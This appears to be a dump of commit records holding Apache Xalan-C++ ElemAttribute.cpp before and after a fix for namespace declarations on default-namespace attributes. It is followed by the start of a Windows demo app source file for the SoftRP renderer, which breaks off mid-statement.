executionContext);\n\n\tif(!isEmpty(attrName))\n\t{\n\t\t\/\/ save original attribute name\n\t\tStylesheetExecutionContext::GetAndReleaseCachedString\torigAttrNameGuard(executionContext);\n\n\t\tXalanDOMString&\t\torigAttrName = origAttrNameGuard.get();\n\n\t\tassign(origAttrName, attrName);\n\n\t\tconst XalanDOMString::size_type\t\torigAttrNameLength = length(origAttrName);\n\n\t\tXalanDOMString::size_type\t\t\tindexOfNSSep = 0;\n\n\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tattrNameSpaceGuard(executionContext);\n\n\t\tXalanDOMString&\t\tattrNameSpace = attrNameSpaceGuard.get();\n\n\t\tif(0 != m_pNamespaceAVT)\n\t\t{\n\t\t\tm_pNamespaceAVT->evaluate(attrNameSpace, sourceNode, *this, executionContext);\n\n\t\t\tif(isEmpty(attrNameSpace))\n\t\t\t{\n\t\t\t\tindexOfNSSep = origAttrNameLength;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tindexOfNSSep = indexOf(origAttrName, XalanUnicode::charColon);\n\n\t\t\t\t\/\/ See if the namespace already exists.  If it does, we'll get the\n\t\t\t\t\/\/ prefix that was used when it was declared.\n\t\t\t\tconst XalanDOMString*  const\tprefix =\n\t\t\t\t\texecutionContext.getResultPrefixForNamespace(attrNameSpace);\n\n\t\t\t\tif(prefix != 0)\n\t\t\t\t{\n\t\t\t\t\tassert(length(*prefix) != 0);\n\n\t\t\t\t\tif(indexOfNSSep < origAttrNameLength)\n\t\t\t\t\t{\n\t\t\t\t\t\treserve(\n\t\t\t\t\t\t\tattrName,\n\t\t\t\t\t\t\tlength(attrName) - (indexOfNSSep + 1) + DOMServices::s_XMLNamespaceSeparatorStringLength + length(*prefix) + 1);\n\n\t\t\t\t\t\tassign(attrName, substring(attrName, indexOfNSSep + 1));\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\treserve(\n\t\t\t\t\t\t\tattrName,\n\t\t\t\t\t\t\tlength(attrName) + DOMServices::s_XMLNamespaceSeparatorStringLength + length(*prefix) + 1);\n\t\t\t\t\t}\n\n\t\t\t\t\tinsert(attrName, 0, DOMServices::s_XMLNamespaceSeparatorString);\n\t\t\t\t\tinsert(attrName, 0, *prefix);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnewPrefixGuard(executionContext);\n\n\t\t\t\t\tXalanDOMString&\t\tnewPrefix = newPrefixGuard.get();\n\n\t\t\t\t\t\/\/ If the prefix on the QName is xmlns, we cannot use it.\n\t\t\t\t\tconst bool\t\t\tfPrefixIsXMLNS =\n\t\t\t\t\t\tstartsWith(origAttrName, DOMServices::s_XMLNamespaceWithSeparator);\n\n\t\t\t\t\t\/\/ If there's a prefix, and it's not xmlns, then use\n\t\t\t\t\t\/\/ the prefix that's provided.\n\t\t\t\t\tif(indexOfNSSep < origAttrNameLength &&\n\t\t\t\t\t    fPrefixIsXMLNS == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tnewPrefix = substring(origAttrName, 0, indexOfNSSep);\n\n\t\t\t\t\t\t\/\/ OK, make sure that the prefix provided maps to\n\t\t\t\t\t\t\/\/ the same namespace as the one the user requested,\n\t\t\t\t\t\t\/\/ and see if it's in use...\n\t\t\t\t\t\tconst XalanDOMString* const\ttheNamespace =\n\t\t\t\t\t\t\texecutionContext.getResultNamespaceForPrefix(newPrefix);\n\n\t\t\t\t\t\tif (theNamespace != 0 &&\n\t\t\t\t\t\t\tequals(*theNamespace, attrNameSpace) == false &&\n\t\t\t\t\t\t\texecutionContext.isPendingResultPrefix(newPrefix) == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/ It doesn't, so we'll need to manufacture a\n\t\t\t\t\t\t\t\/\/ prefix.\n\t\t\t\t\t\t\tclear(newPrefix);\n\n\t\t\t\t\t\t\t\/\/ Strip the user-supplied prefix from the name...\n\t\t\t\t\t\t\tattrName = substring(origAttrName, indexOfNSSep + 1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (length(newPrefix) == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ If there's a prefix, and it's xmlns, then strip it\n\t\t\t\t\t\t\/\/ off...\n\t\t\t\t\t\tif (fPrefixIsXMLNS == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tassign(attrName, substring(attrName, indexOfNSSep + 1));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\/\/ Get a new, unique namespace prefix...\n\t\t\t\t\t\texecutionContext.getUniqueNamespaceValue(newPrefix);\n\n\t\t\t\t\t\t\/\/ Reserve some space in the string.\n\t\t\t\t\t\treserve(\n\t\t\t\t\t\t\tattrName,\n\t\t\t\t\t\t\tlength(attrName) + DOMServices::s_XMLNamespaceSeparatorStringLength + length(newPrefix) + 1);\n\n\t\t\t\t\t\tinsert(attrName, 0, DOMServices::s_XMLNamespaceSeparatorString);\n\t\t\t\t\t\tinsert(attrName, 0, newPrefix);\n\t\t\t\t\t}\n\n\t\t\t\t\t\/\/ OK, now we have to generate a namespace declaration...\n\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnsDeclGuard(executionContext);\n\n\t\t\t\t\tXalanDOMString&\t\tnsDecl = nsDeclGuard.get();\n\n\t\t\t\t\treserve(nsDecl, DOMServices::s_XMLNamespaceWithSeparatorLength + length(newPrefix) + 1);\n\n\t\t\t\t\tassign(nsDecl, DOMServices::s_XMLNamespaceWithSeparator);\n\n\t\t\t\t\tappend(nsDecl, newPrefix);\n\n\t\t\t\t\t\/\/ Add the namespace declaration...\n\t\t\t\t\texecutionContext.addResultAttribute(nsDecl, attrNameSpace);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n      \/\/ Note we are using original attribute name for these tests. \n\t\telse if(executionContext.isElementPending() == true &&\n\t\t\t\t!equals(origAttrName, DOMServices::s_XMLNamespace))\n\t\t{\n\t\t\t\/\/ Don't try to create a namespace declaration for anything that\n\t\t\t\/\/ starts with xml:\n\t\t\tif (startsWith(origAttrName, DOMServices::s_XMLString) == true)\n\t\t\t{\n\t\t\t\t\/\/ This just fakes out the test below.  It would be better if\n\t\t\t\t\/\/ we had a better way of testing this...\n\t\t\t\tindexOfNSSep = origAttrNameLength;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ make sure that if a prefix is specified on the attribute name, it is valid\n\t\t\t\tindexOfNSSep = indexOf(origAttrName, XalanUnicode::charColon);\n\n\t\t\t\tif(indexOfNSSep < origAttrNameLength)\n\t\t\t\t{\n\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnsprefixGuard(executionContext);\n\n\t\t\t\t\tXalanDOMString&\t\tnsprefix = nsprefixGuard.get();\n\n\t\t\t\t\tnsprefix = substring(origAttrName, 0, indexOfNSSep);\n\n\t\t\t\t\tconst XalanDOMString* const\t\ttheNamespace =\n\t\t\t\t\t\tgetNamespaceForPrefix(nsprefix);\n\n\t\t\t\t\tif (theNamespace != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tassign(attrNameSpace, *theNamespace);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (isEmpty(attrNameSpace))\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Could not resolve prefix\n\t\t\t\t\t\texecutionContext.warn(\"Warning: Could not resolve prefix \" + nsprefix, sourceNode, this);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Check to see if there's already a namespace declaration in scope...\n\t\t\t\t\t\tconst XalanDOMString* const\t\tprefix =\n\t\t\t\t\t\t\texecutionContext.getResultPrefixForNamespace(attrNameSpace);\n\n\t\t\t\t\t\tif (prefix == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/ We need to generate a namespace declaration...\n\t\t\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnsDeclGuard(executionContext);\n\n\t\t\t\t\t\t\tXalanDOMString&\t\tnsDecl = nsDeclGuard.get();\n\n\t\t\t\t\t\t\treserve(nsDecl, DOMServices::s_XMLNamespaceWithSeparatorLength + length(nsprefix) + 1);\n\n\t\t\t\t\t\t\tassign(nsDecl, DOMServices::s_XMLNamespaceWithSeparator);\n\n\t\t\t\t\t\t\tappend(nsDecl, nsprefix);\n\n\t\t\t\t\t\t\t\/\/ Add the namespace declaration...\n\t\t\t\t\t\t\texecutionContext.addResultAttribute(nsDecl, attrNameSpace);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\texecutionContext.warn(\"Warning: Trying to add attribute after element child has been added, ignoring...\", sourceNode, this);\n\t\t}\n\n\t\t\/\/ If there was no namespace, or the namespace was resolved, process\n\t\t\/\/ the result attribute.\n\t\tif (indexOfNSSep == origAttrNameLength || !isEmpty(attrNameSpace))\n\t\t{\n\t\t\tchildrenToResultAttribute(\n\t\t\t\texecutionContext,\n\t\t\t\tattrName);\n\t\t}\n\t}\n}\n\n\n\nbool\nElemAttribute::childTypeAllowed(int\t\txslToken) const\n{\n\tbool\tfResult = false;\n\n\tswitch(xslToken)\n\t{\n\t\t\/\/ char-instructions \n\tcase Constants::ELEMNAME_TEXTLITERALRESULT:\n\tcase Constants::ELEMNAME_APPLY_TEMPLATES:\n\tcase Constants::ELEMNAME_APPLY_IMPORTS:\n\tcase Constants::ELEMNAME_CALLTEMPLATE:\n\tcase Constants::ELEMNAME_FOREACH:\n\tcase Constants::ELEMNAME_VALUEOF:\n\tcase Constants::ELEMNAME_COPY_OF:\n\tcase Constants::ELEMNAME_NUMBER:\n\tcase Constants::ELEMNAME_CHOOSE:\n\tcase Constants::ELEMNAME_IF:\n\tcase Constants::ELEMNAME_TEXT:\n\tcase Constants::ELEMNAME_COPY:\n\tcase Constants::ELEMNAME_VARIABLE:\n\tcase Constants::ELEMNAME_MESSAGE:\t\t\n\t\t\/\/ instructions \n\t\t\/\/ case Constants.ELEMNAME_PI:\n\t\t\/\/ case Constants.ELEMNAME_COMMENT:\n\t\t\/\/ case Constants.ELEMNAME_ELEMENT:\n\t\t\/\/ case Constants.ELEMNAME_ATTRIBUTE:\n\t\tfResult = true;\n\t\tbreak;\n\n\tdefault:\n\t\tbreak;\n\t}\n\n\treturn fResult;\n}\n<commit_msg>Make sure that a new namespace declaration is generated when an attribute's namespace is the default namespace. (namespace128, namespace130)<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#include \"ElemAttribute.hpp\"\n\n\n\n#include <sax\/AttributeList.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\n#include <DOMSupport\/DOMServices.hpp>\n\n\n\n#include \"AVT.hpp\"\n#include \"Constants.hpp\"\n#include \"StylesheetConstructionContext.hpp\"\n#include \"StylesheetExecutionContext.hpp\"\n\n\n\nElemAttribute::ElemAttribute(\n\t\t\tStylesheetConstructionContext&\tconstructionContext,\n\t\t\tStylesheet&\t\t\t\t\t\tstylesheetTree,\n\t\t\tconst AttributeList&\t\t\tatts,\n\t\t\tint\t\t\t\t\t\t\t\tlineNumber,\n\t\t\tint\t\t\t\t\t\t\t\tcolumnNumber) :\n\tElemTemplateElement(constructionContext,\n\t\t\t\t\t\tstylesheetTree,\n\t\t\t\t\t\tlineNumber,\n\t\t\t\t\t\tcolumnNumber,\n\t\t\t\t\t\tConstants::ELEMNAME_ATTRIBUTE),\n\tm_pNameAVT(0),\t\n\tm_pNamespaceAVT(0)\n{\n\tconst unsigned int\tnAttrs = atts.getLength();\n\n\tfor(unsigned int i = 0; i < nAttrs; i++)\n\t{\n\t\tconst XalanDOMChar*\tconst\taname = atts.getName(i);\n\n\t\tif(equals(aname, Constants::ATTRNAME_NAME))\n\t\t{\n\t\t\tm_pNameAVT = new AVT(getLocator(), aname, atts.getType(i), atts.getValue(i),\n\t\t\t\t*this, constructionContext);\n\t\t}\n\t\telse if(equals(aname,Constants::ATTRNAME_NAMESPACE))\n\t\t{\n\t\t\tm_pNamespaceAVT = new AVT(getLocator(), aname, atts.getType(i), atts.getValue(i),\n\t\t\t\t*this, constructionContext);\n\t\t}\n\t\telse if(!(isAttrOK(aname, atts, i, constructionContext) || \n\t\t\t\t processSpaceAttr(aname, atts, i, constructionContext)))\n\t\t{\n\t\t\tconstructionContext.error(\n\t\t\t\t\"xsl:attribute has an illegal attribute\",\n\t\t\t\t0,\n\t\t\t\tthis);\n\t\t}\n\t}\n\n\tif(0 == m_pNameAVT)\n\t{\n#if defined(XALAN_CANNOT_DELETE_CONST)\n\t\tdelete (AVT*)m_pNamespaceAVT;\n#else\n\t\tdelete m_pNamespaceAVT;\n#endif\n\n\t\tconstructionContext.error(\n\t\t\t\"xsl:attribute must have a 'name' attribute\",\n\t\t\t0,\n\t\t\tthis);\n\t} \n\t\n}\n\n\n\nElemAttribute::~ElemAttribute()\n{\n#if defined(XALAN_CANNOT_DELETE_CONST)\n\tdelete (AVT*)m_pNameAVT;\n\n\tdelete (AVT*)m_pNamespaceAVT;\n#else\n\tdelete m_pNameAVT;\n\n\tdelete m_pNamespaceAVT;\n#endif\n}\n\n\n\nconst XalanDOMString&\nElemAttribute::getElementName() const\n{\n\treturn Constants::ELEMNAME_ATTRIBUTE_WITH_PREFIX_STRING;\n}\n\n\n\nvoid\nElemAttribute::execute(StylesheetExecutionContext&\t\texecutionContext) const\n{\n\tassert(m_pNameAVT != 0);\n\n\tElemTemplateElement::execute(executionContext);\n\n\tStylesheetExecutionContext::GetAndReleaseCachedString\tattrNameGuard(executionContext);\n\n\tXalanDOMString&\t\tattrName = attrNameGuard.get();\n\n\tXalanNode* sourceNode = executionContext.getCurrentNode();\n\n\tm_pNameAVT->evaluate(attrName, sourceNode, *this, executionContext);\n\n\tif(!isEmpty(attrName))\n\t{\n\t\t\/\/ save original attribute name\n\t\tStylesheetExecutionContext::GetAndReleaseCachedString\torigAttrNameGuard(executionContext);\n\n\t\tXalanDOMString&\t\torigAttrName = origAttrNameGuard.get();\n\n\t\tassign(origAttrName, attrName);\n\n\t\tconst XalanDOMString::size_type\t\torigAttrNameLength = length(origAttrName);\n\n\t\tXalanDOMString::size_type\t\t\tindexOfNSSep = 0;\n\n\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tattrNameSpaceGuard(executionContext);\n\n\t\tXalanDOMString&\t\tattrNameSpace = attrNameSpaceGuard.get();\n\n\t\tif(0 != m_pNamespaceAVT)\n\t\t{\n\t\t\tm_pNamespaceAVT->evaluate(attrNameSpace, sourceNode, *this, executionContext);\n\n\t\t\tif(isEmpty(attrNameSpace))\n\t\t\t{\n\t\t\t\tindexOfNSSep = origAttrNameLength;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tindexOfNSSep = indexOf(origAttrName, XalanUnicode::charColon);\n\n\t\t\t\t\/\/ See if the namespace already exists.  If it does, we'll get the\n\t\t\t\t\/\/ prefix that was used when it was declared.\n\t\t\t\tconst XalanDOMString*  const\tprefix =\n\t\t\t\t\texecutionContext.getResultPrefixForNamespace(attrNameSpace);\n\n\t\t\t\tif(prefix != 0 && length(*prefix) != 0)\n\t\t\t\t{\n\t\t\t\t\tif(indexOfNSSep < origAttrNameLength)\n\t\t\t\t\t{\n\t\t\t\t\t\treserve(\n\t\t\t\t\t\t\tattrName,\n\t\t\t\t\t\t\tlength(attrName) - (indexOfNSSep + 1) + DOMServices::s_XMLNamespaceSeparatorStringLength + length(*prefix) + 1);\n\n\t\t\t\t\t\tassign(attrName, substring(attrName, indexOfNSSep + 1));\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\treserve(\n\t\t\t\t\t\t\tattrName,\n\t\t\t\t\t\t\tlength(attrName) + DOMServices::s_XMLNamespaceSeparatorStringLength + length(*prefix) + 1);\n\t\t\t\t\t}\n\n\t\t\t\t\tinsert(attrName, 0, DOMServices::s_XMLNamespaceSeparatorString);\n\t\t\t\t\tinsert(attrName, 0, *prefix);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnewPrefixGuard(executionContext);\n\n\t\t\t\t\tXalanDOMString&\t\tnewPrefix = newPrefixGuard.get();\n\n\t\t\t\t\t\/\/ If the prefix on the QName is xmlns, we cannot use it.\n\t\t\t\t\tconst bool\t\t\tfPrefixIsXMLNS =\n\t\t\t\t\t\tstartsWith(origAttrName, DOMServices::s_XMLNamespaceWithSeparator);\n\n\t\t\t\t\t\/\/ If there's a prefix, and it's not xmlns, then use\n\t\t\t\t\t\/\/ the prefix that's provided.\n\t\t\t\t\tif(indexOfNSSep < origAttrNameLength &&\n\t\t\t\t\t    fPrefixIsXMLNS == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tnewPrefix = substring(origAttrName, 0, indexOfNSSep);\n\n\t\t\t\t\t\t\/\/ OK, make sure that the prefix provided maps to\n\t\t\t\t\t\t\/\/ the same namespace as the one the user requested,\n\t\t\t\t\t\t\/\/ and see if it's in use...\n\t\t\t\t\t\tconst XalanDOMString* const\ttheNamespace =\n\t\t\t\t\t\t\texecutionContext.getResultNamespaceForPrefix(newPrefix);\n\n\t\t\t\t\t\tif (theNamespace != 0 &&\n\t\t\t\t\t\t\tequals(*theNamespace, attrNameSpace) == false &&\n\t\t\t\t\t\t\texecutionContext.isPendingResultPrefix(newPrefix) == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/ It doesn't, so we'll need to manufacture a\n\t\t\t\t\t\t\t\/\/ prefix.\n\t\t\t\t\t\t\tclear(newPrefix);\n\n\t\t\t\t\t\t\t\/\/ Strip the user-supplied prefix from the name...\n\t\t\t\t\t\t\tattrName = substring(origAttrName, indexOfNSSep + 1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (length(newPrefix) == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ If there's a prefix, and it's xmlns, then strip it\n\t\t\t\t\t\t\/\/ off...\n\t\t\t\t\t\tif (fPrefixIsXMLNS == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tassign(attrName, substring(attrName, indexOfNSSep + 1));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\/\/ Get a new, unique namespace prefix...\n\t\t\t\t\t\texecutionContext.getUniqueNamespaceValue(newPrefix);\n\n\t\t\t\t\t\t\/\/ Reserve some space in the string.\n\t\t\t\t\t\treserve(\n\t\t\t\t\t\t\tattrName,\n\t\t\t\t\t\t\tlength(attrName) + DOMServices::s_XMLNamespaceSeparatorStringLength + length(newPrefix) + 1);\n\n\t\t\t\t\t\tinsert(attrName, 0, DOMServices::s_XMLNamespaceSeparatorString);\n\t\t\t\t\t\tinsert(attrName, 0, newPrefix);\n\t\t\t\t\t}\n\n\t\t\t\t\t\/\/ OK, now we have to generate a namespace declaration...\n\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnsDeclGuard(executionContext);\n\n\t\t\t\t\tXalanDOMString&\t\tnsDecl = nsDeclGuard.get();\n\n\t\t\t\t\treserve(nsDecl, DOMServices::s_XMLNamespaceWithSeparatorLength + length(newPrefix) + 1);\n\n\t\t\t\t\tassign(nsDecl, DOMServices::s_XMLNamespaceWithSeparator);\n\n\t\t\t\t\tappend(nsDecl, newPrefix);\n\n\t\t\t\t\t\/\/ Add the namespace declaration...\n\t\t\t\t\texecutionContext.addResultAttribute(nsDecl, attrNameSpace);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n      \/\/ Note we are using original attribute name for these tests. \n\t\telse if(executionContext.isElementPending() == true &&\n\t\t\t\t!equals(origAttrName, DOMServices::s_XMLNamespace))\n\t\t{\n\t\t\t\/\/ Don't try to create a namespace declaration for anything that\n\t\t\t\/\/ starts with xml:\n\t\t\tif (startsWith(origAttrName, DOMServices::s_XMLString) == true)\n\t\t\t{\n\t\t\t\t\/\/ This just fakes out the test below.  It would be better if\n\t\t\t\t\/\/ we had a better way of testing this...\n\t\t\t\tindexOfNSSep = origAttrNameLength;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ make sure that if a prefix is specified on the attribute name, it is valid\n\t\t\t\tindexOfNSSep = indexOf(origAttrName, XalanUnicode::charColon);\n\n\t\t\t\tif(indexOfNSSep < origAttrNameLength)\n\t\t\t\t{\n\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnsprefixGuard(executionContext);\n\n\t\t\t\t\tXalanDOMString&\t\tnsprefix = nsprefixGuard.get();\n\n\t\t\t\t\tnsprefix = substring(origAttrName, 0, indexOfNSSep);\n\n\t\t\t\t\tconst XalanDOMString* const\t\ttheNamespace =\n\t\t\t\t\t\tgetNamespaceForPrefix(nsprefix);\n\n\t\t\t\t\tif (theNamespace != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tassign(attrNameSpace, *theNamespace);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (isEmpty(attrNameSpace))\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Could not resolve prefix\n\t\t\t\t\t\texecutionContext.warn(\"Warning: Could not resolve prefix \" + nsprefix, sourceNode, this);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Check to see if there's already a namespace declaration in scope...\n\t\t\t\t\t\tconst XalanDOMString* const\t\tprefix =\n\t\t\t\t\t\t\texecutionContext.getResultPrefixForNamespace(attrNameSpace);\n\n\t\t\t\t\t\tif (prefix == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/ We need to generate a namespace declaration...\n\t\t\t\t\t\t\tStylesheetExecutionContext::GetAndReleaseCachedString\tnsDeclGuard(executionContext);\n\n\t\t\t\t\t\t\tXalanDOMString&\t\tnsDecl = nsDeclGuard.get();\n\n\t\t\t\t\t\t\treserve(nsDecl, DOMServices::s_XMLNamespaceWithSeparatorLength + length(nsprefix) + 1);\n\n\t\t\t\t\t\t\tassign(nsDecl, DOMServices::s_XMLNamespaceWithSeparator);\n\n\t\t\t\t\t\t\tappend(nsDecl, nsprefix);\n\n\t\t\t\t\t\t\t\/\/ Add the namespace declaration...\n\t\t\t\t\t\t\texecutionContext.addResultAttribute(nsDecl, attrNameSpace);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\texecutionContext.warn(\"Warning: Trying to add attribute after element child has been added, ignoring...\", sourceNode, this);\n\t\t}\n\n\t\t\/\/ If there was no namespace, or the namespace was resolved, process\n\t\t\/\/ the result attribute.\n\t\tif (indexOfNSSep == origAttrNameLength || !isEmpty(attrNameSpace))\n\t\t{\n\t\t\tchildrenToResultAttribute(\n\t\t\t\texecutionContext,\n\t\t\t\tattrName);\n\t\t}\n\t}\n}\n\n\n\nbool\nElemAttribute::childTypeAllowed(int\t\txslToken) const\n{\n\tbool\tfResult = false;\n\n\tswitch(xslToken)\n\t{\n\t\t\/\/ char-instructions \n\tcase Constants::ELEMNAME_TEXTLITERALRESULT:\n\tcase Constants::ELEMNAME_APPLY_TEMPLATES:\n\tcase Constants::ELEMNAME_APPLY_IMPORTS:\n\tcase Constants::ELEMNAME_CALLTEMPLATE:\n\tcase Constants::ELEMNAME_FOREACH:\n\tcase Constants::ELEMNAME_VALUEOF:\n\tcase Constants::ELEMNAME_COPY_OF:\n\tcase Constants::ELEMNAME_NUMBER:\n\tcase Constants::ELEMNAME_CHOOSE:\n\tcase Constants::ELEMNAME_IF:\n\tcase Constants::ELEMNAME_TEXT:\n\tcase Constants::ELEMNAME_COPY:\n\tcase Constants::ELEMNAME_VARIABLE:\n\tcase Constants::ELEMNAME_MESSAGE:\t\t\n\t\t\/\/ instructions \n\t\t\/\/ case Constants.ELEMNAME_PI:\n\t\t\/\/ case Constants.ELEMNAME_COMMENT:\n\t\t\/\/ case Constants.ELEMNAME_ELEMENT:\n\t\t\/\/ case Constants.ELEMNAME_ATTRIBUTE:\n\t\tfResult = true;\n\t\tbreak;\n\n\tdefault:\n\t\tbreak;\n\t}\n\n\treturn fResult;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"DemoAppBase.h\"\n\nusing namespace SoftRPDemo;\n\nDemoAppBase::DemoAppBase(HINSTANCE hInstance, unsigned int width, unsigned int height)\n\t\t:SingleWindowApp(hInstance, width, height), m_viewPort{ getWidth(), getHeight() },\n\t\t\tm_renderTarget{}, m_depthBuffer{ getWidth(), getHeight() },\n\t\t\tm_inputVertexLayout{ SoftRP::InputVertexLayout::create(std::vector<size_t>{}) },\n\t\t\tm_outputVertexLayout{ SoftRP::OutputVertexLayout::create(0) } {\n\t\t\n\tm_lastTime = std::chrono::high_resolution_clock::now();\n\tupdateView();\n}\n\nvoid DemoAppBase::onUpdate(){\n\n\tconst auto now = std::chrono::high_resolution_clock::now();\n\tauto delta = std::chrono::duration_cast<std::chrono::milliseconds>(now - m_lastTime);\n\n\trenderFrame(delta.count());\n\n\tm_lastTime = now;\n\tm_millis += delta;\n\tm_frameCount++;\n\n\tstd::wstring delta_str = std::to_wstring(delta.count());\n\n\tif (m_millis >= std::chrono::milliseconds{ 1000 }) {\n\t\tm_fpsString = std::to_wstring(m_frameCount);\n\t\tm_frameCount = 1;\n\t\tm_millis = std::chrono::milliseconds{ 0 };\n\t}\n\tSetWindowText(getWindowHandle(), \n\t\t\t\t  (delta_str + std::wstring{ L\" ms, \" } + m_fpsString + std::wstring{ L\" FPS\" } + m_messageString).c_str());\n}\n\nvoid DemoAppBase::onResize(){\n\n\tunsigned int width = getWidth();\n\tunsigned int height = getHeight();\n\n\tm_viewPort = SoftRP::ViewPort{ width, height };\n\n\tm_depthBuffer.resize(width, height);\n\n\tm_camera.makePerspective(static_cast<float>(width) \/ static_cast<float>(height));\n\n\tm_renderTarget.setWindowHandle(getWindowHandle());\n\tm_renderTarget.resize(getWidth(), getHeight());\n}\n\nbool DemoAppBase::onMouseDown(MouseButton mouseButton, MousePos mousePos){\n\tif (mouseButton == MouseButton::MIDDLE)\n\t\treturn false;\n\tSetCapture(getWindowHandle());\n\tm_lastMousePos.mouseX = mousePos.mouseX;\n\tm_lastMousePos.mouseY = mousePos.mouseY;\n\tm_mouseCaptured = true;\n\tm_leftButtonDown = mouseButton == MouseButton::LEFT;\n\treturn true;\n}\n\nbool DemoAppBase::onMouseUp(MouseButton mouseButton, MousePos mousePos) {\n\tif (mouseButton == MouseButton::MIDDLE)\n\t\treturn false;\n\tReleaseCapture();\n\tm_mouseCaptured = false;\n\treturn true;\n}\n\nbool DemoAppBase::onMouseMove(MousePos mousePos){\n\tif (!m_mouseCaptured)\n\t\treturn false;\n\n\tfloat deltaX = degsToRadians(static_cast<float>(mousePos.mouseX - m_lastMousePos.mouseX));\n\tfloat deltaY = degsToRadians(static_cast<float>(mousePos.mouseY - m_lastMousePos.mouseY));\n\tm_lastMousePos.mouseX = mousePos.mouseX;\n\tm_lastMousePos.mouseY = mousePos.mouseY;\n\n\tif (m_leftButtonDown) {\n\t\tm_theta += deltaX* 0.25f;\n\t\tm_phi += 